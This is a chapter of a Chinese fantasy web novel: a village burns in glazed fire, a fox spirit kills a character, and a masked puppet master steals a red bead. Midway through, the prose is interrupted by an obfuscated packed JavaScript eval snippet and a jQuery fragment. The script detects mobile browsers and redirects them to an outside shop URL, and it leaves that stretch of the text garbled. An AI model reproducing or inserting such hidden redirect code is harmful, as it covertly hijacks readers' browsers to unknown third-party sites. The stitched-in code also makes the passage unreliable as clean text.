李菊家被火焰包围,大家退无可退,所有人被琉璃火逼进一个中心角落。
叙白又吸干了一个人,冲那群人招招手,“下一个轮到谁了?”
所有人你看看我,我看看你,最终默契的将齐叔推了出去。
“齐叔。”
穗时的话音一落,李菊不知从哪里拿出一根木棍,趁叙白施法的时候,一棍敲在叙白头上。
叙白手中的红色珠子掉在地上,又滚了几圈,穗时飞快捡起珠子。
叙白回头只见一脸怒火与恨意的脸,叙白装作无辜,“阿菊为什么?”
“是你先杀了人,违背了我们之间的约定。”
“阿菊你误会我了,我没杀他们我这是吸干了他们的阳气,让他们早死罢了,这不也是一种保护。”
说完叙白额头有鲜血流出,眼瞳变成金色的狐狸眼,“倒是你阿菊,你居然敢打我。”
周围只有几桶水,穗时将珠子放好,突然举起一桶水泼在叙白身上,“打。”
李菊握紧手中的木棍,一下又一下落在叙白身上。
秣陵村瞬间被琉璃火烧了一半,山神施法护住山头,而山下白烟滚滚,空气中弥漫着一股烧焦味。
山神将所有生灵挪到没波及的山脚,自己一个人冲向了山下。
随之一路避开倒塌的房屋,前方不远处他看见林叔直奔家里,“林叔。”
随之站在林叔门口,林叔扑向快烧完的林婶。两人快速燃烧,蓝色的火星像一场美丽的萤火,诉说着无声的告别。
随之又快速跑回家,才刚回到家随之就被火焰逼了出来,祖母在家中小憩,奈何房梁有些旧了,被火一烧直接砸死了。
随之努力避开火焰,稍一思索立马折返回去。
正巧碰见下山的山神,“山神?”
山神见到随之愣了一下,“怎么只有你一个人,其他人呢?”
“我检查过了,这周围在家里的人都被火烧死了,其他人都在李菊家,跟我来。”
山神跟在随之身后,随之一路很是小心,努力避开火焰。
“你是木头?”
“我还以为山神早看出来了。”
“我可没有能辨别原型的本事。”
李菊手中的木棍打了几次,直到叙白反应过来。
叙白轻轻挥了挥手,李菊被打翻在地。
“李菊。”穗时声音很是着急。
就在李菊掉在火里的时候,山神从外面翻进来,一下接住了李菊。
李菊紧闭双眼,再次睁眼时声音都在打颤,“山神?”
“怎么回事?”
叙白突然将苗头对准穗时,“将东西还给我。”
一道雪白色的法术直冲穗时,山神的法术提前到来,替她遮挡了攻击。
“山神,叙白原先计划将所有人引来,吸干阳气,但不知为何天上掉下了蓝色的琉璃火。”
阿海在人群里突然哭了起来,“山神姐姐救命啊,我不想死。救救我,求你救救我。”
山神:“叙白这火是不是你放的?”
叙白白眼一翻,“不是。”
“你若不想死就和我一起送这些人出去。”
“不可能。”
山神手中捏着法术。
叙白在他们身上看了几眼,最终将目光放在了穗时身上。
叙白化身一只巨大的白狐,直冲穗时。
关键时刻随之一把拉开穗时,自己不慎落入狐抓中。
“随之。”穗时得救后第一时间关心随之。
叙白将随之拖进琉璃火中,随之被叙白牵制,“你挺有骨气。”
随之没挣扎反而问起,“告诉我是谁告诉你千年魂魄的,你从哪里知晓穗时是千年魂魄的,还有多少人知道?”
叙白不禁嘲讽,“原来你不是结巴。”
琉璃火碰到了随之的衣摆,“说是谁告诉你的。”
叙白狐抓越捏越紧,“去死吧。”
随之被他推入琉璃火中,瞬间化成了灰烬。
“随之。”
穗时靠近一声又一声呼喊,叙白脱了衣服变成一只小狐狸。
山神眼尖,“不好狐狸跑了。”
穗时眼眶有泪水打转,“山神你快救救随之。”
山神将穗时拉入了安全的地方,施法抵挡琉璃火,“没用的这是琉璃火,沾上即死。随之是这样,你祖母也是。”
她突然顿住,“我祖母你这是什么意思?”
“我在下山的时候突然碰见了随之,他来晚一步你祖母被房梁砸死了。其他人都没逃开这一场劫难,火势很快蔓延到半山腰。”
阿海一听哭声更惨烈了,“难道我们只能等死?山神你真没用,你是我见过最没用的山神,我讨厌山神……”
天空中一座有些慌乱的屋子,随之突然睁眼喘息,又飞快爬起直奔神君所在的大殿。
守卫拦下随之,“站住。”
“我要见神帝。”
“神帝已经派人去灭琉璃火了,你这个假神君还是早点回去。”
“今日谁也不能阻拦我见神帝。”说完随之捏出一个法术,转眼间一道白光乍现,再睁眼时他跪在神帝面前。
“神帝?”
神帝深吸一口气,“真是烦人。”
“我找到我主人了,你快让她归神位。”
神帝薄唇轻启,“不行,她还没有经历神劫是不能成神的。”
“为什么?我主人都为了救世死过一次了。”
“那是她成神的契机。”
“那我的主人还是之前那个?你不是说封印我主人千年,她才变回之前的主人?”
神帝耐着性子,“是有这个可能。”
“可她还是不认识我?”
“那你就去找她,这是你们之前的事,本帝能做的都做了。也给了你假神位,你还学了法术,我已经够仁慈了。”
“……”
“至于那些死去的人,早死早超生也是好事,让阎王替他们寻个好人家再投胎。”
秣陵村。
山神额头汗珠大颗大颗滑落,穗时身上的衣服不知是没干的水渍,还是烤出的汗,湿答答贴在身上。
阿海抱着母亲,“母亲。”
阿海母亲不停安慰,“阿海别怕母亲会保护你的,大家都会保护你的,山神也会庇佑你的。”
“可是山神的法术圆圈越来越小了,火就快烧到我脸上了,母亲我怕。”
山神喉咙干痒,咬着后槽牙。
穗时躲在山神身后,“有什么我们能做的?”
山神有些虚弱,“没有。”
赵婶一屁股坐在地上,“哎呦烫死我了。”
从地上爬起捂着半边屁股,“看来我们都要死在这了。”
赵婶环顾四周,一把冲在李菊面前,“都是你害的,现在我们都要死在这了,你满意了。”
李菊捂着半边脸,上面有一个清晰的巴掌印。
穗时看了看李菊又看向山神,最终她将目光放在了天空。上面依旧蓝天白云,与她所在的分明是两个截然不同的地方。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787190|210205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上面渐渐出现一道白光,有一位头发至脚踝处的神女凭空变出一只雪白的瓷瓶,挥手洒向天空。
“那是?”
天空突然乌云密布,一场雨落下,精准落在琉璃火身上。
没多久火势变小,山神也收了法力直接瘫倒在地上。
“雨,下雨了。”
被困在火中的人突然仰面接雨,与之共舞。
没多久火熄灭了,天上的神女也不见了。
“火灭了,太好了火灭了……”
此起彼伏的声音不断响起,穗时直冲外面。
房屋被烧毁,连铁块石头被化为了灰烬。
她快速跑回家里,拐角处撞到一位带面具的姑娘,“不好意思。”
那姑娘伸手摸了摸脸上的面具,“无妨。”
傀儡师抬眼看见穗时的脸,只见她一直往前跑。
伸手掌心有一枚红色的珠子躺在手心。
再次回到封印之地,女诃早已恭候多时,“傀儡师果然讲诚信。”
傀儡师将红珠放在指尖把玩,“你帮了我,我也帮你拿到了你想要的东西,我们之前扯平了。”
女诃笑了一下,“好说。”
傀儡师似乎不打算交出红珠,“只是那姑娘为什么和我长的一样,我总有一种熟悉的感觉。”
“……”
“你早就知道了?你是故意放我出来的,也是故意给我面具的?”傀儡师伸出一根手指敲了敲脸上的面具。
女诃走向前,摊开一只手,“你的封印是你自己破的,我没帮你什么,至于其他的我也不知道。至于面具我确实是有意给你的,你也不想被另一张和自己长的一模一样的姑娘发现,自己偷了东西。”
“这东西也不是那个姑娘的,你不是说这是神器?”
“是神器没错现在能给我了吗?”
傀儡师倒是爽快,“给。”
女诃拿到红珠后第一件事便是消除了里面的阳气,“如今封印已解,傀儡师你自由了?”
“我叫傀儡师?”
女诃脸色一僵,“不是,傀儡师是民间艺人的一种叫法。”
傀儡师有些遗憾,“我倒觉得傀儡师这个名字挺好听的。”
“你喜欢可以叫这个名字。”
“对了我说的那位神君在哪里?”
女诃伸手指天,“在上面,你想杀他?”
说到这个傀儡师就一肚子火,“我刚有意识就被封印千年,像他这种人就不配做神。”
女诃强撑着笑脸:本来就不是真的神君。
傀儡师伸手中指有一根红线,她从醒来后便一直有操控傀儡的能力。
“我走了。”
女诃倒是得到了解脱,“再见。”
最好不见。
穗时家里变成了废墟,她裙摆黑了大半,直奔里屋。
“祖母祖母……”
寻了半天什么都没有找到。
“祖母祖母。”
她将家里所有角落都找了一遍,该翻的翻该找的找,还是什么都没有。
秣陵村彻底被烧毁,而叙白逃了。
一位白衣男子趁机救走了叙白,叙白躺在男子腿上,男子有点冷漠:“再装睡拿你去喂琉璃火。”
此话一出,叙白立马醒了过来,“那火是你放的?”
“你觉得是我?”
叙白身子虚弱只能维持狐狸模样,“只有你有琉璃火,不是你还能是谁?”
男子将狐狸拿开,“我与你合作放火做甚,那火是女诃神女放的。”